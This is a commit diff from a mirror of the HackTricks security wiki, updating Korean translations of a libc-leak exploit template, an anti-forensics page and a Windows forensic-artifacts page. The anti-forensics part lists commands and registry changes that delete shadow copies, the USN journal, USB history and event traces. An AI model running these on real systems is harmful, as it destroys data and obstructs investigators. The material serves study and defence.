mirror of
https://github.com/carlospolop/hacktricks
synced 2024-11-22 04:33:28 +00:00
Translated ['binary-exploitation/rop-return-oriented-programing/ret2lib/
This commit is contained in:
parent
41f580ae4d
commit
d82a520013
37 changed files with 1324 additions and 1330 deletions
|
@ -1,20 +1,20 @@
|
|||
# libc 주소 노출 - 템플릿
|
||||
# libc 누출 - 템플릿
|
||||
|
||||
<details>
|
||||
|
||||
<summary><strong>htARTE (HackTricks AWS Red Team Expert)를 통해 AWS 해킹을 제로부터 전문가까지 배우세요</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
|
||||
<summary><strong>htARTE (HackTricks AWS Red Team Expert)를 통해 제로에서 영웅까지 AWS 해킹 배우기</strong>!</summary>
|
||||
|
||||
HackTricks를 지원하는 다른 방법:
|
||||
다른 방법으로 HackTricks를 지원하는 방법:
|
||||
|
||||
* **회사가 HackTricks에 광고되길 원하거나 HackTricks를 PDF로 다운로드하길 원한다면** [**구독 요금제**](https://github.com/sponsors/carlospolop)를 확인하세요!
|
||||
* **회사가 HackTricks에 광고되길 원하거나 HackTricks를 PDF로 다운로드하고 싶다면** [**구독 요금제**](https://github.com/sponsors/carlospolop)를 확인하세요!
|
||||
* [**공식 PEASS & HackTricks 스왜그**](https://peass.creator-spring.com)를 구매하세요
|
||||
* [**The PEASS Family**](https://opensea.io/collection/the-peass-family)를 발견하세요, 당사의 독점 [**NFTs**](https://opensea.io/collection/the-peass-family) 컬렉션
|
||||
* 💬 [**디스코드 그룹**](https://discord.gg/hRep4RUj7f) 또는 [**텔레그램 그룹**](https://t.me/peass)에 **가입**하거나 **트위터** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**를 팔로우**하세요.
|
||||
* **해킹 요령을 공유하려면** [**HackTricks**](https://github.com/carlospolop/hacktricks) 및 [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github 저장소에 PR을 제출하세요.
|
||||
* [**The PEASS Family**](https://opensea.io/collection/the-peass-family)를 발견하세요, 우리의 독점 [**NFTs**](https://opensea.io/collection/the-peass-family) 컬렉션
|
||||
* 💬 [**Discord 그룹**](https://discord.gg/hRep4RUj7f) 또는 [**텔레그램 그룹**](https://t.me/peass)에 **가입**하거나 **트위터** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)를 **팔로우**하세요.
|
||||
* **HackTricks** 및 **HackTricks Cloud** github 저장소에 PR을 제출하여 해킹 트릭을 공유하세요.
|
||||
|
||||
</details>
|
||||
|
||||
<figure><img src="/.gitbook/assets/WebSec_1500x400_10fps_21sn_lightoptimized_v2.gif" alt=""><figcaption></figcaption></figure>
|
||||
<figure><img src="https://pentest.eu/RENDER_WebSec_10fps_21sec_9MB_29042024.gif" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
{% embed url="https://websec.nl/" %}
|
||||
|
||||
|
@ -206,9 +206,9 @@ P.interactive() #Interact with your shell :)
|
|||
|
||||
## 일반적인 문제
|
||||
|
||||
### MAIN_PLT = elf.symbols['main']를 찾을 수 없음
|
||||
### MAIN_PLT = elf.symbols\['main']를 찾을 수 없음
|
||||
|
||||
"main" 심볼이 존재하지 않는 경우 (아마도 이진 파일이 스트립되었기 때문일 것입니다). 그럼 main 코드가 어디에 있는지 찾아야 합니다:
|
||||
"main" 심볼이 존재하지 않는 경우 (아마도 이진 파일이 스트립되었기 때문일 것입니다). 그럼 main 코드가 어디에 있는지 찾을 수 있습니다:
|
||||
```python
|
||||
objdump -d vuln_binary | grep "\.text"
|
||||
Disassembly of section .text:
|
||||
|
@ -220,31 +220,31 @@ MAIN_PLT = 0x401080
|
|||
```
|
||||
### Puts를 찾을 수 없음
|
||||
|
||||
만약 이진 파일이 Puts를 사용하지 않는다면 **사용 여부를 확인**해야 합니다.
|
||||
만약 이진 파일이 Puts를 사용하지 않는다면 **사용하는지 확인**해야 합니다.
|
||||
|
||||
### `sh: 1: %s%s%s%s%s%s%s%s: not found`
|
||||
### `sh: 1: %s%s%s%s%s%s%s%s: 찾을 수 없음`
|
||||
|
||||
모든 exploit을 생성한 후에 이 **에러**를 발견하면: `sh: 1: %s%s%s%s%s%s%s%s: not found`
|
||||
모든 exploit을 생성한 후에 이 **에러**를 발견하면: `sh: 1: %s%s%s%s%s%s%s%s: 찾을 수 없음`
|
||||
|
||||
시도해 보세요. **"/bin/sh" 주소에서 64바이트를 빼보세요**:
|
||||
**"/bin/sh" 주소에서 64바이트를 빼보세요**:
|
||||
```python
|
||||
BINSH = next(libc.search("/bin/sh")) - 64
|
||||
```
|
||||
<figure><img src="/.gitbook/assets/WebSec_1500x400_10fps_21sn_lightoptimized_v2.gif" alt=""><figcaption></figcaption></figure>
|
||||
<figure><img src="https://pentest.eu/RENDER_WebSec_10fps_21sec_9MB_29042024.gif" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
{% embed url="https://websec.nl/" %}
|
||||
|
||||
|
||||
<details>
|
||||
|
||||
<summary><strong>htARTE (HackTricks AWS Red Team Expert)</strong>와 함께 **제로부터 영웅까지 AWS 해킹 배우기**!</summary>
|
||||
<summary><strong>htARTE (HackTricks AWS Red Team Expert)를 통해 제로부터 영웅이 되는 AWS 해킹을 배우세요</strong>!</summary>
|
||||
|
||||
HackTricks를 지원하는 다른 방법:
|
||||
다른 방법으로 HackTricks를 지원하는 방법:
|
||||
|
||||
* **회사를 HackTricks에서 광고하거나 HackTricks를 PDF로 다운로드**하려면 [**구독 요금제**](https://github.com/sponsors/carlospolop)를 확인하세요!
|
||||
* **회사가 HackTricks에 광고되길 원하거나 PDF로 HackTricks를 다운로드하길 웸하면** [**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)를 확인하세요!
|
||||
* [**공식 PEASS & HackTricks 스왜그**](https://peass.creator-spring.com)를 구매하세요
|
||||
* [**The PEASS Family**](https://opensea.io/collection/the-peass-family)를 발견하세요, 당사의 독점 [**NFTs**](https://opensea.io/collection/the-peass-family) 컬렉션
|
||||
* 💬 [**Discord 그룹**](https://discord.gg/hRep4RUj7f) 또는 [**텔레그램 그룹**](https://t.me/peass)에 **가입**하거나 **트위터** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**를 팔로우**하세요.
|
||||
* **HackTricks** 및 **HackTricks Cloud** github 저장소에 PR을 제출하여 **해킹 트릭을 공유**하세요.
|
||||
* **💬 [**Discord 그룹**](https://discord.gg/hRep4RUj7f)이나 [**텔레그램 그룹**](https://t.me/peass)에 가입하거나** Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**를 팔로우하세요.**
|
||||
* **해킹 트릭을 공유하려면** [**HackTricks**](https://github.com/carlospolop/hacktricks) 및 [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github 저장소에 PR을 제출하세요.
|
||||
|
||||
</details>
|
||||
|
|
|
@ -1,18 +1,18 @@
|
|||
<details>
|
||||
|
||||
<summary><strong>htARTE (HackTricks AWS Red Team 전문가)로부터 AWS 해킹을 처음부터 전문가까지 배우세요</strong></summary>
|
||||
<summary><strong>htARTE (HackTricks AWS Red Team 전문가)로부터 AWS 해킹을 처음부터 전문가까지 배우세요</strong>!</summary>
|
||||
|
||||
HackTricks를 지원하는 다른 방법:
|
||||
|
||||
* **회사가 HackTricks에 광고되길 원하거나 PDF로 HackTricks를 다운로드하고 싶다면** [**구독 요금제**](https://github.com/sponsors/carlospolop)를 확인하세요!
|
||||
* **회사가 HackTricks에 광고되길 원하거나 HackTricks를 PDF로 다운로드하길 원한다면** [**구독 요금제**](https://github.com/sponsors/carlospolop)를 확인하세요!
|
||||
* [**공식 PEASS & HackTricks 스왜그**](https://peass.creator-spring.com)를 구매하세요
|
||||
* [**The PEASS Family**](https://opensea.io/collection/the-peass-family)를 발견하세요, 당사의 독점 [**NFTs**](https://opensea.io/collection/the-peass-family) 컬렉션
|
||||
* **💬 [Discord 그룹](https://discord.gg/hRep4RUj7f)** 또는 [텔레그램 그룹](https://t.me/peass)에 **가입**하거나 **트위터** 🐦 [**@hacktricks_live**](https://twitter.com/hacktricks_live)를 **팔로우**하세요.
|
||||
* **해킹 트릭을 공유하려면** [**HackTricks**](https://github.com/carlospolop/hacktricks) 및 [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github 저장소로 PR을 제출하세요.
|
||||
* 💬 **Discord 그룹**에 **가입**하세요(https://discord.gg/hRep4RUj7f) 또는 [**텔레그램 그룹**](https://t.me/peass)에 가입하거나 **트위터** 🐦 [**@hacktricks_live**](https://twitter.com/hacktricks_live)를 **팔로우**하세요.
|
||||
* **해킹 트릭을 공유**하려면 [**HackTricks**](https://github.com/carlospolop/hacktricks) 및 [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github 저장소로 PR을 제출하세요.
|
||||
|
||||
</details>
|
||||
|
||||
<figure><img src="/.gitbook/assets/WebSec_1500x400_10fps_21sn_lightoptimized_v2.gif" alt=""><figcaption></figcaption></figure>
|
||||
<figure><img src="https://pentest.eu/RENDER_WebSec_10fps_21sec_9MB_29042024.gif" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
{% embed url="https://websec.nl/" %}
|
||||
|
||||
|
@ -20,9 +20,9 @@ HackTricks를 지원하는 다른 방법:
|
|||
# 타임스탬프
|
||||
|
||||
공격자는 **파일의 타임스탬프를 변경**하여 감지를 피하려 할 수 있습니다.\
|
||||
MFT 내부의 타임스탬프를 찾을 수 있습니다. 이는 `$STANDARD_INFORMATION` __ 및 __ `$FILE_NAME` 속성에 있습니다.
|
||||
MFT 내부의 타임스탬프를 찾을 수 있습니다. 이는 `$STANDARD_INFORMATION` 및 `$FILE_NAME` 속성에 있습니다.
|
||||
|
||||
두 속성에는 **수정**, **액세스**, **생성**, **MFT 레지스트리 수정** (MACE 또는 MACB)에 대한 4개의 타임스탬프가 있습니다.
|
||||
두 속성에는 **수정**, **액세스**, **생성**, **MFT 레지스트리 수정** (MACE 또는 MACB)의 4가지 타임스탬프가 있습니다.
|
||||
|
||||
**Windows 탐색기** 및 기타 도구는 **`$STANDARD_INFORMATION`**에서 정보를 표시합니다.
|
||||
|
||||
|
@ -40,11 +40,11 @@ MFT 내부의 타임스탬프를 찾을 수 있습니다. 이는 `$STANDARD_INFO
|
|||
|
||||
## $LogFile
|
||||
|
||||
파일 시스템의 모든 메타데이터 변경 사항은 [write-ahead logging](https://en.wikipedia.org/wiki/Write-ahead_logging) 프로세스로 **로그에 기록**됩니다. 로그된 메타데이터는 NTFS 파일 시스템의 루트 디렉토리에 위치한 `**$LogFile**`이라는 파일에 유지됩니다. [LogFileParser](https://github.com/jschicht/LogFileParser)와 같은 도구를 사용하여 이 파일을 구문 분석하고 변경 사항을 식별할 수 있습니다.
|
||||
파일 시스템의 모든 메타데이터 변경 사항은 [write-ahead logging](https://en.wikipedia.org/wiki/Write-ahead_logging)이라는 프로세스에서 **로그됩니다**. 로그된 메타데이터는 NTFS 파일 시스템의 루트 디렉토리에 위치한 `**$LogFile**`이라는 파일에 유지됩니다. [LogFileParser](https://github.com/jschicht/LogFileParser)와 같은 도구를 사용하여 이 파일을 구문 분석하고 변경 사항을 식별할 수 있습니다.
|
||||
|
||||
![](<../../.gitbook/assets/image (450).png>)
|
||||
|
||||
도구의 출력에서 다시 **일부 변경 사항이 수행**된 것을 확인할 수 있습니다.
|
||||
도구의 출력에서 다시 **일부 변경이 수행**된 것을 확인할 수 있습니다.
|
||||
|
||||
동일한 도구를 사용하여 **타임스탬프가 수정된 시간을 식별**할 수 있습니다:
|
||||
|
||||
|
@ -52,7 +52,7 @@ MFT 내부의 타임스탬프를 찾을 수 있습니다. 이는 `$STANDARD_INFO
|
|||
|
||||
* CTIME: 파일 생성 시간
|
||||
* ATIME: 파일 수정 시간
|
||||
* MTIME: 파일 MFT 레지스트리 수정
|
||||
* MTIME: 파일의 MFT 레지스트리 수정
|
||||
* RTIME: 파일 액세스 시간
|
||||
|
||||
## `$STANDARD_INFORMATION` 및 `$FILE_NAME` 비교
|
||||
|
@ -61,7 +61,7 @@ MFT 내부의 타임스탬프를 찾을 수 있습니다. 이는 `$STANDARD_INFO
|
|||
|
||||
## 나노초
|
||||
|
||||
**NTFS** 타임스탬프는 **100 나노초의 정밀도**를 갖습니다. 따라서 2010-10-10 10:10:**00.000:0000과 같은 타임스탬프를 가진 파일을 찾는 것은 매우 의심스러울 수 있습니다.
|
||||
**NTFS** 타임스탬프는 **100 나노초의 정밀도**를 갖습니다. 따라서 2010-10-10 10:10:**00.000:0000과 같은 타임스탬프가있는 파일을 찾는 것은 매우 의심스러울 수 있습니다.
|
||||
|
||||
## SetMace - 안티 포렌식 도구
|
||||
|
||||
|
@ -69,13 +69,13 @@ MFT 내부의 타임스탬프를 찾을 수 있습니다. 이는 `$STANDARD_INFO
|
|||
|
||||
# 데이터 숨김
|
||||
|
||||
NFTS는 클러스터와 최소 정보 크기를 사용합니다. 즉, 파일이 클러스터와 반 개를 사용하는 경우 **파일이 삭제될 때까지 남은 반은 사용되지 않을 것**입니다. 따라서 이 "숨겨진" 공간에 데이터를 **숨길 수 있습니다**.
|
||||
NFTS는 클러스터와 최소 정보 크기를 사용합니다. 즉, 파일이 클러스터와 반 개를 사용하는 경우 **파일이 삭제될 때까지 남은 반은 사용되지 않을 수 있습니다**. 그럼으로 이 "숨겨진" 공간에 데이터를 **숨길 수 있습니다**.
|
||||
|
||||
슬래커와 같은 도구를 사용하여 이 "숨겨진" 공간에 데이터를 숨길 수 있습니다. 그러나 `$logfile` 및 `$usnjrnl`의 분석을 통해 일부 데이터가 추가되었음을 확인할 수 있습니다:
|
||||
이러한 "숨겨진" 공간에 데이터를 숨기는 것을 허용하는 slacker와 같은 도구가 있습니다. 그러나 `$logfile` 및 `$usnjrnl`의 분석을 통해 일부 데이터가 추가되었음을 확인할 수 있습니다:
|
||||
|
||||
![](<../../.gitbook/assets/image (452).png>)
|
||||
|
||||
그런 다음 FTK Imager와 같은 도구를 사용하여 슬랙 공간을 검색할 수 있습니다. 이러한 도구는 콘텐츠를 난독화하거나 암호화할 수 있습니다.
|
||||
그런 다음 FTK Imager와 같은 도구를 사용하여 슬랙 공간을 검색할 수 있습니다. 이러한 유형의 도구는 콘텐츠를 난독화하거나 암호화 할 수 있습니다.
|
||||
|
||||
# UsbKill
|
||||
|
||||
|
@ -84,7 +84,7 @@ NFTS는 클러스터와 최소 정보 크기를 사용합니다. 즉, 파일이
|
|||
|
||||
# 라이브 Linux 배포
|
||||
|
||||
이러한 배포판은 **RAM 메모리 내에서 실행**됩니다. NTFS 파일 시스템이 쓰기 권한으로 마운트된 경우에만 침입을 감지할 수 있습니다. 읽기 권한으로만 마운트된 경우 침입을 감지할 수 없습니다.
|
||||
이러한 배포판은 **RAM 메모리 내에서 실행**됩니다. NTFS 파일 시스템이 쓰기 권한으로 마운트된 경우에만 감지할 수 있습니다. 읽기 권한으로만 마운트되어 있으면 침입을 감지할 수 없습니다.
|
||||
|
||||
# 안전한 삭제
|
||||
|
||||
|
@ -100,52 +100,52 @@ NFTS는 클러스터와 최소 정보 크기를 사용합니다. 즉, 파일이
|
|||
|
||||
UserAssist를 비활성화하려면 두 단계가 필요합니다:
|
||||
|
||||
1. `HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Explorer\Advanced\Start_TrackProgs` 및 `HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Explorer\Advanced\Start_TrackEnabled` 두 레지스트리 키를 0으로 설정하여 UserAssist를 비활성화하려는 것을 나타냅니다.
|
||||
1. `HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Explorer\Advanced\Start_TrackProgs` 및 `HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Explorer\Advanced\Start_TrackEnabled` 두 레지스트리 키를 0으로 설정하여 UserAssist를 비활성화하려는 신호를 보냅니다.
|
||||
2. `HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Explorer\UserAssist\<hash>`와 같은 레지스트리 하위 트리를 지웁니다.
|
||||
|
||||
## 타임스탬프 비활성화 - Prefetch
|
||||
|
||||
이는 Windows 시스템의 성능을 향상시키기 위해 실행된 응용 프로그램에 대한 정보를 저장합니다. 그러나 이는 포렌식 실무에도 유용할 수 있습니다.
|
||||
|
||||
* `regedit` 실행
|
||||
* 파일 경로 `HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\SessionManager\Memory Management\PrefetchParameters` 선택
|
||||
* `EnablePrefetcher` 및 `EnableSuperfetch`를 마우스 오른쪽 버튼 클릭
|
||||
* 각각을 수정하여 값을 1(또는 3)에서 0으로 변경
|
||||
* 재부팅
|
||||
* `regedit`를 실행합니다
|
||||
* 파일 경로 `HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\SessionManager\Memory Management\PrefetchParameters`를 선택합니다
|
||||
* `EnablePrefetcher` 및 `EnableSuperfetch`에서 마우스 오른쪽 버튼을 클릭합니다
|
||||
* 각각을 수정하려면 1(또는 3)에서 0으로 값을 변경합니다
|
||||
* 다시 시작합니다
|
||||
|
||||
## 타임스탬프 비활성화 - 마지막 액세스 시간
|
||||
|
||||
Windows NT 서버의 NTFS 볼륨에서 폴더를 열 때 시스템은 **각 목록된 폴더의 타임스탬프 필드를 업데이트**하는 시간을 취합니다. 이를 마지막 액세스 시간이라고합니다. 사용 빈도가 높은 NTFS 볼륨에서는 성능에 영향을 줄 수 있습니다.
|
||||
Windows NT 서버의 NTFS 볼륨에서 폴더가 열릴 때 시스템은 **각 목록된 폴더의 타임스탬프 필드를 업데이트**하는 시간을 취합니다. 이를 마지막 액세스 시간이라고합니다. 사용 빈도가 높은 NTFS 볼륨에서는 성능에 영향을 줄 수 있습니다.
|
||||
|
||||
1. 레지스트리 편집기 (Regedit.exe) 열기
|
||||
2. `HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\FileSystem`로 이동
|
||||
1. 레지스트리 편집기(Regedit.exe)를 엽니다.
|
||||
2. `HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\FileSystem`로 이동합니다.
|
||||
3. `NtfsDisableLastAccessUpdate`를 찾습니다. 존재하지 않으면이 DWORD를 추가하고 값을 1로 설정하여 프로세스를 비활성화합니다.
|
||||
4. 레지스트리 편집기를 닫고 서버를 다시 시작합니다.
|
||||
## USB 히스토리 삭제
|
||||
|
||||
모든 **USB 장치 항목**은 Windows 레지스트리에 **USBSTOR** 레지스트리 키 아래에 저장되어 있습니다. 이 키에는 PC나 노트북에 USB 장치를 연결할 때마다 생성되는 하위 키가 포함되어 있습니다. 이 키는 여기에서 찾을 수 있습니다: `HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Enum\USBSTOR`. **이를 삭제**하면 USB 히스토리가 삭제됩니다.\
|
||||
또한 [**USBDeview**](https://www.nirsoft.net/utils/usb_devices_view.html) 도구를 사용하여 삭제 여부를 확인하고 삭제할 수 있습니다.
|
||||
또한 [**USBDeview**](https://www.nirsoft.net/utils/usb\_devices\_view.html) 도구를 사용하여 삭제 여부를 확인하고 삭제할 수 있습니다.
|
||||
|
||||
USB에 대한 정보를 저장하는 또 다른 파일은 `C:\Windows\INF` 내부의 `setupapi.dev.log` 파일입니다. 이 파일도 삭제해야 합니다.
|
||||
|
||||
## 그림자 복사본 비활성화
|
||||
|
||||
`vssadmin list shadowstorage`로 그림자 복사본을 **목록**화합니다.\
|
||||
`vssadmin delete shadow`를 실행하여 삭제합니다.
|
||||
`vssadmin delete shadow`를 실행하여 그림자 복사본을 **삭제**합니다.
|
||||
|
||||
또한 [https://www.ubackup.com/windows-10/how-to-delete-shadow-copies-windows-10-5740.html](https://www.ubackup.com/windows-10/how-to-delete-shadow-copies-windows-10-5740.html)에서 제안된 단계를 따라 GUI를 통해 삭제할 수도 있습니다.
|
||||
또한 [https://www.ubackup.com/windows-10/how-to-delete-shadow-copies-windows-10-5740.html](https://www.ubackup.com/windows-10/how-to-delete-shadow-copies-windows-10-5740.html)에서 제안된 단계를 따라 GUI를 통해 그림자 복사본을 삭제할 수도 있습니다.
|
||||
|
||||
그림자 복사본을 비활성화하려면 [여기에서 제안된 단계](https://support.waters.com/KB_Inf/Other/WKB15560_How_to_disable_Volume_Shadow_Copy_Service_VSS_in_Windows)를 따르세요:
|
||||
|
||||
1. Windows 시작 버튼을 클릭한 후 텍스트 검색 상자에 "services"를 입력하여 서비스 프로그램을 엽니다.
|
||||
2. 목록에서 "Volume Shadow Copy"를 찾아 선택한 다음 마우스 오른쪽 버튼을 클릭하여 속성에 액세스합니다.
|
||||
3. "시작 유형" 드롭다운 메뉴에서 "비활성화"를 선택한 후 변경 사항을 확인하기 위해 적용 및 확인을 클릭합니다.
|
||||
3. "시작 유형" 드롭다운 메뉴에서 "비활성화"를 선택한 다음 변경을 확인하기 위해 적용 및 확인을 클릭합니다.
|
||||
|
||||
그림자 복사본에서 복사할 파일의 구성을 수정할 수도 있습니다. 레지스트리 `HKLM\SYSTEM\CurrentControlSet\Control\BackupRestore\FilesNotToSnapshot`에서 이를 수행할 수 있습니다.
|
||||
그림자 복사본에서 복사할 파일의 구성을 수정하는 것도 가능합니다. 레지스트리 `HKLM\SYSTEM\CurrentControlSet\Control\BackupRestore\FilesNotToSnapshot`에서 이를 수행할 수 있습니다.
|
||||
|
||||
## 삭제된 파일 덮어쓰기
|
||||
|
||||
* **Windows 도구**인 `cipher /w:C`를 사용할 수 있습니다. 이를 통해 cipher에게 C 드라이브 내의 사용 가능한 미사용 디스크 공간에서 데이터를 제거하도록 지시합니다.
|
||||
* **Windows 도구**인 `cipher /w:C`를 사용할 수 있습니다. 이를 통해 cipher에게 C 드라이브 내의 사용 가능한 미사용 디스크 공간에서 데이터를 제거하도록 지시할 수 있습니다.
|
||||
* [**Eraser**](https://eraser.heidi.ie)와 같은 도구도 사용할 수 있습니다.
|
||||
|
||||
## Windows 이벤트 로그 삭제
|
||||
|
@ -164,6 +164,21 @@ USB에 대한 정보를 저장하는 또 다른 파일은 `C:\Windows\INF` 내
|
|||
|
||||
* `fsutil usn deletejournal /d c:`
|
||||
|
||||
<figure><img src="/.gitbook/assets/WebSec_1500x400_10fps_21sn_lightoptimized_v2.gif" alt=""><figcaption></figcaption></figure>
|
||||
<figure><img src="https://pentest.eu/RENDER_WebSec_10fps_21sec_9MB_29042024.gif" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
{% embed url="https://websec.nl/" %}
|
||||
|
||||
|
||||
<details>
|
||||
|
||||
<summary><strong>htARTE (HackTricks AWS Red Team Expert)로부터 제로에서 영웅까지 AWS 해킹 배우기</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
|
||||
|
||||
HackTricks를 지원하는 다른 방법:
|
||||
|
||||
* **회사를 HackTricks에서 광고하거나 HackTricks를 PDF로 다운로드**하려면 [**구독 요금제**](https://github.com/sponsors/carlospolop)를 확인하세요!
|
||||
* [**공식 PEASS & HackTricks 스왜그**](https://peass.creator-spring.com)를 구입하세요
|
||||
* [**The PEASS Family**](https://opensea.io/collection/the-peass-family)를 발견하세요, 당사의 독점 [**NFTs**](https://opensea.io/collection/the-peass-family) 컬렉션
|
||||
* 💬 [**디스코드 그룹**](https://discord.gg/hRep4RUj7f) 또는 [**텔레그램 그룹**](https://t.me/peass)에 가입하거나 **트위터** 🐦 [**@hacktricks_live**](https://twitter.com/hacktricks_live)를 팔로우하세요.
|
||||
* **HackTricks** 및 **HackTricks Cloud** github 저장소에 PR을 제출하여 **해킹 트릭을 공유**하세요.
|
||||
|
||||
</details>
|
||||
|
|
|
@ -4,19 +4,19 @@
|
|||
|
||||
<details>
|
||||
|
||||
<summary><strong>제로부터 영웅이 될 때까지 AWS 해킹을 배우세요</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
|
||||
<summary><strong>제로부터 영웅이 될 때까지 AWS 해킹을 배우세요</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team 전문가)</strong></a><strong>!</strong></summary>
|
||||
|
||||
HackTricks를 지원하는 다른 방법:
|
||||
|
||||
* **회사가 HackTricks에 광고되길 원하거나** **PDF 형식의 HackTricks를 다운로드하고 싶다면** [**구독 요금제**](https://github.com/sponsors/carlospolop)를 확인하세요!
|
||||
* **회사가 HackTricks에 광고되길 원하거나** **PDF 형식의 HackTricks를 다운로드하길 원한다면** [**구독 요금제**](https://github.com/sponsors/carlospolop)를 확인하세요!
|
||||
* [**공식 PEASS & HackTricks 굿즈**](https://peass.creator-spring.com)를 구매하세요
|
||||
* [**The PEASS Family**](https://opensea.io/collection/the-peass-family)를 발견하세요, 당사의 독점 [**NFTs**](https://opensea.io/collection/the-peass-family) 컬렉션
|
||||
* **💬 [**Discord 그룹**](https://discord.gg/hRep4RUj7f)이나 [**텔레그램 그룹**](https://t.me/peass)에 **가입**하거나 **트위터** 🐦 [**@hacktricks_live**](https://twitter.com/hacktricks_live)**를 팔로우**하세요.
|
||||
* [**The PEASS Family**](https://opensea.io/collection/the-peass-family)를 발견하세요, 저희의 독점 [**NFTs**](https://opensea.io/collection/the-peass-family) 컬렉션
|
||||
* **💬 [**Discord 그룹**](https://discord.gg/hRep4RUj7f)이나 [**텔레그램 그룹**](https://t.me/peass)에 **가입**하거나 **트위터** 🐦 [**@hacktricks_live**](https://twitter.com/hacktricks_live)를 **팔로우**하세요.
|
||||
* **해킹 트릭을 공유하려면** [**HackTricks**](https://github.com/carlospolop/hacktricks) 및 [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github 저장소에 PR을 제출하세요.
|
||||
|
||||
</details>
|
||||
|
||||
<figure><img src="/.gitbook/assets/WebSec_1500x400_10fps_21sn_lightoptimized_v2.gif" alt=""><figcaption></figcaption></figure>
|
||||
<figure><img src="https://pentest.eu/RENDER_WebSec_10fps_21sec_9MB_29042024.gif" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
{% embed url="https://websec.nl/" %}
|
||||
|
||||
|
@ -24,13 +24,13 @@ HackTricks를 지원하는 다른 방법:
|
|||
|
||||
### Windows 10 알림
|
||||
|
||||
경로 `\Users\<username>\AppData\Local\Microsoft\Windows\Notifications`에 데이터베이스 `appdb.dat` (Windows Anniversary 이전) 또는 `wpndatabase.db` (Windows Anniversary 이후)를 찾을 수 있습니다.
|
||||
경로 `\Users\<username>\AppData\Local\Microsoft\Windows\Notifications`에 `appdb.dat` (Windows Anniversary 이전) 또는 `wpndatabase.db` (Windows Anniversary 이후)라는 데이터베이스를 찾을 수 있습니다.
|
||||
|
||||
이 SQLite 데이터베이스 내에서 흥미로운 데이터를 포함할 수 있는 모든 알림 (XML 형식)을 포함하는 `Notification` 테이블을 찾을 수 있습니다.
|
||||
이 SQLite 데이터베이스 안에는 흥미로운 데이터를 포함할 수 있는 모든 알림(XML 형식)을 포함하는 `Notification` 테이블이 있습니다.
|
||||
|
||||
### 타임라인
|
||||
|
||||
타임라인은 방문한 웹 페이지, 편집된 문서 및 실행된 응용 프로그램의 **시간순 역사**를 제공하는 Windows 특성입니다.
|
||||
타임라인은 방문한 웹 페이지, 편집된 문서 및 실행된 응용 프로그램의 **시간순 역사**를 제공하는 Windows의 특성입니다.
|
||||
|
||||
데이터베이스는 경로 `\Users\<username>\AppData\Local\ConnectedDevicesPlatform\<id>\ActivitiesCache.db`에 있습니다. 이 데이터베이스는 SQLite 도구나 [**WxTCmd**](https://github.com/EricZimmerman/WxTCmd) 도구로 열 수 있으며 **2개의 파일을 생성**하여 [**TimeLine Explorer**](https://ericzimmerman.github.io/#!index.md) 도구로 열 수 있습니다.
|
||||
|
||||
|
@ -42,7 +42,7 @@ HackTricks를 지원하는 다른 방법:
|
|||
|
||||
### 휴지통
|
||||
|
||||
Vista/Win7/Win8/Win10에서 **휴지통**은 드라이브 루트에 있는 폴더 **`$Recycle.bin`**에서 찾을 수 있습니다 (`C:\$Recycle.bin`).\
|
||||
Vista/Win7/Win8/Win10에서 **휴지통**은 드라이브 루트(`C:\$Recycle.bin`)에 있는 폴더 **`$Recycle.bin`**에서 찾을 수 있습니다.\
|
||||
이 폴더에서 파일이 삭제되면 2개의 특정 파일이 생성됩니다:
|
||||
|
||||
* `$I{id}`: 파일 정보(삭제된 날짜)
|
||||
|
@ -50,7 +50,7 @@ Vista/Win7/Win8/Win10에서 **휴지통**은 드라이브 루트에 있는 폴
|
|||
|
||||
![](<../../../.gitbook/assets/image (486).png>)
|
||||
|
||||
이러한 파일을 사용하여 삭제된 파일의 원래 주소와 삭제된 날짜를 얻을 수 있는 [**Rifiuti**](https://github.com/abelcheung/rifiuti2) 도구를 사용할 수 있습니다 (`rifiuti-vista.exe`를 Vista - Win10에 사용).
|
||||
이러한 파일을 사용하여 삭제된 파일의 원래 주소와 삭제된 날짜를 얻을 수 있습니다([**Rifiuti**](https://github.com/abelcheung/rifiuti2) 도구를 사용하고 Vista - Win10용 `rifiuti-vista.exe`를 사용하세요).
|
||||
```
|
||||
.\rifiuti-vista.exe C:\Users\student\Desktop\Recycle
|
||||
```
|
||||
|
@ -60,7 +60,7 @@ Vista/Win7/Win8/Win10에서 **휴지통**은 드라이브 루트에 있는 폴
|
|||
|
||||
그림자 사본은 사용 중인 파일 또는 볼륨의 **백업 사본** 또는 스냅숏을 만들 수 있는 Microsoft Windows에 포함된 기술입니다.
|
||||
|
||||
